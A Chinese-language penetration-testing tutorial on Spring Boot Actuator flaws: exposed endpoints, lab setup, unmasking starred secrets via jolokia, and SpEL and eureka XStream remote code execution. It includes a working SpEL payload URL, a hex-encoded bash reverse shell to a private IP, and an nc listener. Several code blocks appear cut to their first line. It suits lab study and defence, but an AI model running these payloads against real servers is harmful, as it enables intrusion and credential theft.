Java开发框架SpringBoot漏洞
Java开发框架SpringBoot漏洞
hihopkcSpringBoot简介
Spring介绍
Spring 是 java web 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是 Spring Boot Actuators 反序列化
Actuators介绍
Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。
常见端点信息
Spring Boot 1.x 版本默认内置路由的根路径以 / 开始, 2.x 则统一以 /actuator 开始
https://docs.spring.io/spring-boot/docs/2.1.1.RELEASE/reference/html/production-ready-endpoints.html
路径 | 描述 |
---|---|
/autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
/beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
/env | 获取全部环境属性 |
/configprops | 描述配置属性(包含默认值)如何注入Bean |
/dump | 获取线程活动的快照 |
/health | 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 |
/info | 获取应用程序的定制信息,这些信息由info打头的属性提供 |
/mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射 关系 |
/metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 |
/shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true |
/trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
SpringBoot漏洞发现
框架特征
小绿叶 、404报错
漏洞识别
https://github.com/rabbitmask/SB-Actuator
SpringBoot环境搭建
安装Java
1 | apt update |
安装maven
方法一:源码安装
1 | wget http://mirrors.hust.edu.cn/apache/maven/maven3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz |
方法二:apt安装
1 | apt install maven |
安装SpringBoot 1.x
1、下载项目源码
1 | git clone https://github.com/veracode-research/actuator-testbed.git |
2、修改配置文件
修改 src/main/resources/application.properties 中 127.0.0.1 为 0.0.0.0
1 | server.port=9093 |
3、 添加 MySQL 连接配置
1 | vim src/main/resources/application.properties |
spring.datasource.name=druidDataSource
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-8&allowMultiQueries=true&autoReconnect=true
spring.datasource.username=panda
spring.datasource.password=123456
4、运行 SpringBoot
1 | mvn install |
5、配置Maven国内镜像源
修改 Maven 默认的全局配置文件:
Linux 系统:一般在 /usr/share/maven/conf/settings.xml
Windows 系统:一般在 Maven 安装目录的 conf/settings.xml
使用阿里的云仓库,在 maven 的 settings.xml 文件的 Mirrors 中添加如下内容
1 | <mirrors> |
单项目配置
修改项目的 pom.xml ,添加以下内容:
1 | <repositories> |
安装SpringBoot 2.x
下载项目源码
1 | git clone https://github.com/callicoder/spring-boot-actuatordemo.git |
maven 构建并运行引用程序
1 | mvn package |
或者可以直接运行应用程序而无需打包
1 | mvn spring-boot:run |
访问所有执行器端点
http://localhost:8080/actuator
注意:
一些执行器端点受到 Spring Security 的 HTTP 基本身份验证的保护。您可以使用用
户名 actuator 和密码 actuator 进行 HTTP 基本身份验证。
路由知识
- 有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
- Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
- Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv
信息泄露
自动化工具:SB-Scan https://github.com/AabyssZG/SpringBoot-Scan
路由地址及接口调用详情泄漏
开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
直接访问以下两个 swagger 相关路由,验证漏洞是否存在:
1 | /v2/api-docs |
其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由
1 | /swagger |
除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
1 | /mappings |
一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以“默认安全”来讲,不暴露出这些信息更加安全。
对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。
配置不当而暴露的路由
主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
可能因为配置不当而暴露的默认内置路由参考:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
其中对寻找漏洞比较重要的接口有:
- /env 、 /actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;
当程序员的属性名命名不规范,例如 password 写成 psasword 、 pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;
同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
- /refresh 、 /actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
- /restart 、 /actuator/restart
暴露出此接口的情况较少;可以配合 POST 请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
- /jolokia 、 /actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean ,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
- /trace 、 /actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
快速 fuzz 常见端点接口:
https://wfuzz.readthedocs.io/en/latest/
1 | wfuzz -w spring-endpoint.txt --sc 200 -f out.html,html |
获取被星号脱敏的密码的明文
访问 /env 接口时, spring actuator 会将一些带有敏感关键词(如 password 、secret )的属性名对应的属性值用 * 号替换达到脱敏的效果
利用条件
- 可以 GET 请求目标网站的 /env
- 可以 POST 请求目标网站的 /env
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-bootstarter-actuator 依赖)
- 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
- 目标可以请求攻击者的服务器(请求可出外网)
利用方法
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: jolokia 调用相关 Mbean 获取明文
将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。
- 调用 org.springframework.boot Mbean
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x
1 | POST /jolokia |
spring 2.x
1 | POST /actuator/jolokia |
- 调用 org.springframework.cloud.context.environment Mbean
实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager类实例的 getProperty 方法
spring 1.x
1 | POST /jolokia |
spring 2.x
1 | POST /actuator/jolokia |
远程代码执行
whitelabel error page SpEL RCE
漏洞环境
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
修改 SpringBootVulExploit/repository/springbootspelrce/src/main/resources/application.properties:
1 | server.port=9091 |
编译运行:
1 | mvn spring-boot:run |
正常访问:
1 | http://127.0.0.1:9091/article?id=66 |
方法二:Docker搭建
1 | docker run -itd -p 8090:9090 vulfocus/spring-boot_whitelabel_spel:latest |
利用条件
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
利用方法
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
1 | #coding: utf-8 |
执行 touch /tmp/mingy 命令:
1 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79}))} |
执行bash反弹shell命令:
1 | bash -i >& /dev/tcp/192.168.247.128/6666 0>&1 |
1 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x34,0x4c,0x6a,0x49,0x78,0x4f,0x53,0x34,0x78,0x4e,0x6a,0x45,0x75,0x4f,0x44,0x67,0x76,0x4f,0x54,0x41,0x35,0x4d,0x43,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))} |
漏洞原理
1、spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
2、此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
3、其中 ${ } 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
漏洞分析
https://www.cnblogs.com/litlife/p/10183137.html
eureka xstream deserialization RCE
漏洞环境
修改 SpringBootVulExploit/repository/springboot-eurekaxstreamrce/src/main/resources/application.properties:
1 | server.port=9093 |
编译运行:
1 | mvn spring-boot:run |
利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-bootstarter-actuator 依赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starternetflix-eureka-client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法
步骤一:架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自
带的 python 来反弹 shell 。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹
shell 的 ip 地址和端口号。
1 | #!/usr/bin/env python |
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 | nc -lvp 443 |
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
步骤四:刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh Content-Type: application/json |
步骤五:得到Shell
漏洞原理
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka
server URL 地址 - refresh 触发目标机器请求远程 URL ,提前架设的 f ake eureka server 就会返
回恶意的 payload - 目标机器相关依赖解析 payload ,触发 XStream 反序列化,造成 RCE 漏洞
漏洞分析